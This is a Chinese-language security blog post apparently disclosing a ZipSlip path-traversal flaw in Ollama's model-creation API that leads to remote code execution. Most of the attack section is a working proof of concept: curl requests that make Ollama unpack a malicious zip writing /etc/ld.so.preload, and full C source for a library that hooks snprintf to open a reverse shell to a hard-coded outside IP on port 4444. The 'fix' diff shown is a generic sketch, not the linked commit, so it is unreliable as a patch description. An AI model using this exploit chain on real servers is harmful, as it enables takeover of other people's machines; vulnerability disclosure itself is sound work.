Ollama zipslip 远程代码执行漏洞

Ollama zipslip 远程代码执行漏洞

原创 枇杷哥 黑伞安全 2025-02-14 07:14

通过ollama/ollama中的 zipslip 执行远程代码

概括

该ZipSlip漏洞可能允许攻击者将任意文件写入文件系统。因此,攻击者可以通过创建恶意 zip 文件 ( ) 来实现远程代码执行 ( /etc/ld.so.preloadRCE vuln.so) application/zip。

描述

ZipSlip 漏洞发生在
main/server/model.go(parseFromZipFile)
中。

outfile, err := os.Create(filepath.Join(tempdir, f.Name))

上述代码在解压压缩文件时,并未检查文件名是否包含../,因此存在路径遍历问题,文件可能会被写入整个文件系统。包含 的 zip 文件示例../ 请参考
https://github.com/snyk/zip-slip-vulnerability/tree/master/archives

POC

PoC/tmp/vuln.so
通过 ZipSlip 创建/etc/ld.so.preload
以达到 Reverse Shell的过程。 流程如下:

触发 ZipSlip(/tmp/poc.zip 是 bad Zip)

curl -X POST http://localhost:11434/api/create -H "Content-Type: application/json" -d'{"name":"maria","modelfile":"FROM /tmp/poc.zip\nSYSTEM DUMMY"}'

步骤 1 完成后,文件将被解压并/tmp/vuln.so
创建/etc/ld.so.preload
文件。创建文件后,/tmp/vuln.so
将链接到 ollama 共享库。

触发反弹 Shell (RCE)

curl -X POST http://localhost:11434/api/chat -H "Content-Type: application/json" -d'{"model":"moondream","messages":[]}'

调用/api/chat并诱导调用链接的恶意库,恶意库代码如下。

//gcc -shared -o vuln.so -fPIC poc.c#include<stdio.h>#include<unistd.h>#include<stdarg.h>#include<dlfcn.h>#include<stdlib.h>#include<arpa/inet.h>#include<sys/socket.h>#include<netinet/in.h>#define REMOTE_ADDR "3.147.74.40"#define REMOTE_PORT 4444int shell(){int sock;struct sockaddr_in serv_addr;    sock = socket(AF_INET, SOCK_STREAM,0);if(sock ==-1){        perror("socket");exit(EXIT_FAILURE);}    serv_addr.sin_family = AF_INET;    serv_addr.sin_addr.s_addr = inet_addr(REMOTE_ADDR);    serv_addr.sin_port = htons(REMOTE_PORT);if(connect(sock,(struct sockaddr *)&serv_addr,sizeof(serv_addr))==-1){        perror("connect");        close(sock);exit(EXIT_FAILURE);}    dup2(sock,0);    dup2(sock,1);    dup2(sock,2);    execve("/bin/bash", NULL, NULL);    close(sock);return0;}// hooked snprintfint snprintf(char*buffer,size_t n,constchar*format,...){    printf("snprintf hooking!\n");    shell();return0;}

影响

远程代码执行(RCE)

当将其他第三方程序与 ollama 一起使用时,可能会出现提供文件上传的情况。(例如,web-ui)或者,如果在 ollama 生态系统中与模型文件一起提供了恶意 bin 文件(application/zip),则可能会出现未指定数量的 RCE 受害者。

补丁链接 
http://github.com/ollama/ollama/commit/123a722a6f541e300bc8e34297ac378ebe23f527

修复内容

补丁主要对文件路径的处理逻辑进行了改进,确保路径被严格校验,防止恶意路径的注入。以下是修复的核心代码思路:

- func resolvePath(userInput string) string {-     return filepath.Join("/safe/base/dir", userInput)- }+ func resolvePath(userInput string) (string, error) {+     resolvedPath := filepath.Join("/safe/base/dir", userInput)+     if !strings.HasPrefix(resolvedPath, "/safe/base/dir") {+         return "", fmt.Errorf("invalid path: %s", userInput)+     }+     return resolvedPath, nil+ }

关注我们,获取更多安全资讯和技术分析!

微信公众号: 黑伞安全

如果你是一个长期主义者,欢迎加入我的知识星球,我们一起冲,一起学。2025 年春节推出内部云安全课程,后续涨价 159 元。每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款。

图片